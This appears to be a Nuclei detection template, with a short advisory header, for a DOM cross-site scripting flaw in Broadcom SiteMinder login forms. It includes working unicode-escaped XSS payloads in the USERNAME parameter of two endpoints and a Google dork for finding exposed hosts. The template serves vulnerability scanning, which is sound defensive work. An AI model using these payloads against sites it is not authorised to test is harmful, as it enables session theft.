SiteMinder contains a cross-site scripting vulnerability in the document object model. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: siteminder-dom-xss
info:
name: SiteMinder - DOM Cross-Site Scripting
author: clarkvoss
severity: high
description: SiteMinder contains a cross-site scripting vulnerability in the document object model. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html
- https://github.com/projectdiscovery/nuclei-templates/issues/2736
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
cpe: cpe:2.3:a:broadcom:siteminder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
google-query: inurl:"smpwservices.fcc"
product: siteminder
vendor: broadcom
tags: dom,xss,siteminder,vuln
http:
- method: GET
path:
- '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
- '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7'
- '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm\u0028document.domain\u0029\u0022\u003e&SMAUTHREASON=7'
- '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm\u0028document.domain\u0029\u0022\u003e&SMAUTHREASON=7'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '\u003d\u0022confirm(document.domain)\u0022\u003e</B> you cannot access your'
- '\u003d\u0022confirm\u0028document.domain\u0029\u0022\u003e</B> you cannot access your'
condition: or
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4b0a00483046022100f872dc30333b1b9198c54a26b2971573d0b861ddaa6d9b9c7428152ad9996434022100b1eb39556257d5973cff49830f001c104748cc1a0fd093887ed86e83114cc912:922c64590222798bb761d5b6d8e72950